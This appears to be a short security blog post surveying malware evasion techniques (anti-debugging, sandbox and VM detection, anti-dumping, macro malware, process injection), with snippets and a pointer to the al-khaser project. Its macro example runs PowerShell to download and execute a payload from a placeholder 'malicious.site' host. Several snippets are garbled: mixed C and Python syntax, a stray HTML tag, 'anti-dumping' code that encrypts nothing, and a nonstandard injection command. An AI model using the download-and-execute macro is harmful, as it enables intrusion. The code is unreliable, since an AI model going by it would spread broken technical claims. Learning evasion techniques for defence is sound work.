# Public Malware Techniques Used in the Wild: Virtual Machine, Emulation, Debuggers, Sandbox Detection

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Malware authors employ various techniques to evade detection and analysis. Below are common anti-analysis methods used in modern malware:

✅ Anti-debugging attacks – Detects debuggers to prevent reverse engineering.

✅ Anti-injection – Blocks code injection attempts.

✅ Anti-Dumping – Prevents memory dumping for analysis.

✅ Timing Attacks [Anti-Sandbox] – Checks execution delays to detect sandboxes.
✅ Human Interaction / Generic [Anti-Sandbox] – Requires user input to execute.
✅ Anti-Virtualization / Full-System Emulation – Detects virtualized environments.

✅ Anti-Analysis – Obstructs automated analysis tools.

✅ Anti-Disassembly – Tricks disassemblers into incorrect code interpretation.
✅ Macro malware attacks – Leverages document macros for execution.
✅ Code/DLL Injections techniques – Injects malicious code into legitimate processes.

GitHub Resource:

al-khaser – Public malware techniques

You Should Know:

1. Detecting Debuggers (Anti-Debugging)

Malware checks for debugger presence using system APIs:

if (IsDebuggerPresent()) { 
exit(0); // Terminate if debugged 
}

**Linux Alternative (ptrace check):**

if ptrace(PTRACE_TRACEME, 0, NULL, 0) == -1 { 
exit(0); // Debugger detected 
}

### **2. Anti-Sandbox (Timing Checks)**

Malware measures execution time to detect sandbox acceleration:

import time 
start = time.time()

<h1>Perform long computation</h1>

if (time.time() - start) < expected_delay: 
exit() # Likely in a sandbox

### **3. Virtual Machine Detection (Anti-VM)**

Checks common VM artifacts:

**Windows (WMI Check):**

Get-WmiObject -Query "SELECT * FROM Win32_ComputerSystem" | Select-Object Model

**Linux (dmesg check):**

dmesg | grep -i "hypervisor"

### **4. Preventing Memory Dumping (Anti-Dumping)**

Malware encrypts critical sections in memory:

#include <Windows.h> 
void SecureFunction() { 
volatile int <em>ptr = (int</em>)0xDEADBEEF; 
*ptr = 0; // Crash if dumped 
}

### **5. Macro Malware (Office Exploits)**

A malicious VBA macro may execute PowerShell:

Sub AutoOpen() 
Shell "powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://malicious.site/payload.ps1')" 
End Sub

### **6. Code Injection (DLL/Process Hollowing)**

Injecting into `explorer.exe`:

$process = Start-Process -FilePath "explorer.exe" -PassThru 
Invoke-ProcessInjection -ProcessId $process.Id -Payload "C:\malware.bin"

## **What Undercode Say**

Malware continues to evolve with sophisticated evasion techniques. Security analysts must understand these methods to develop effective countermeasures. Tools like al-khaser help researchers test anti-malware defenses by simulating real-world evasion tactics. Always analyze suspicious binaries in isolated environments and monitor for unusual behavior.

### **Expected Output:**

  • Debugger detection logs
  • Sandbox evasion alerts
  • VM detection warnings
  • Memory dump prevention triggers
  • Macro execution traces
  • Unusual process injections

**Reference:**

al-khaser GitHub

References:

Reported By: Abhirup Konwar – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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